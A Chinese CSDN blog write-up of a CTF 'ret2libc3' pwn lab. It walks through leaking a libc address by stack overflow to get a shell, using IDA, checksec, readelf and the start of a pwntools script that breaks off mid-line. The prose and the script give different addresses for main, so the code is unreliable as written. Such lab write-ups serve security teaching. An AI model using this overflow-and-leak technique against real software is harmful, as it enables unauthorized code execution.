实验三——ret2libc3地址泄露

最新推荐文章于 2023-05-16 10:18:32 发布

-Han-

最新推荐文章于 2023-05-16 10:18:32 发布

阅读量1.9k

点赞数

分类专栏： pwn

本文链接：https://blog.csdn.net/weixin_44079115/article/details/89334945

版权

在完成ret2libc1和ret2libc2实验后，进一步探讨如何在没有system及/bin/sh函数的情况下实现getshell。通过IDA分析得到主函数地址0x080484FD，利用checksec确认缺少关键保护。通过readelf检查got表信息，并编写脚本执行，以在无特定函数支持的环境中获取shell。

摘要由CSDN通过智能技术生成

我们完成了ret2libc1，ret2libc2两个实验，对getshell有了初步的了解，现在进行无system及/bin/sh函数的情况下获取权限，进行getshell。

调用IDA，查看主函数地址
在这里插入图片描述
得到主函数地址为0x080484FD

用【checksec】查看：不存在必要的保护

查看got表信息：【readelf -r ret2libc3】
在这里插入图片描述

写下脚本、运行脚本。

这里插入代码

from pwn import *
from LibcSearcher import *

context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']

p=process('./ret2libc3')
elf=ELF('./ret2libc3')
main=0x08048618
payload='a'*(0x6c+4)+p32(elf.plt['puts'])+p32(main)+p3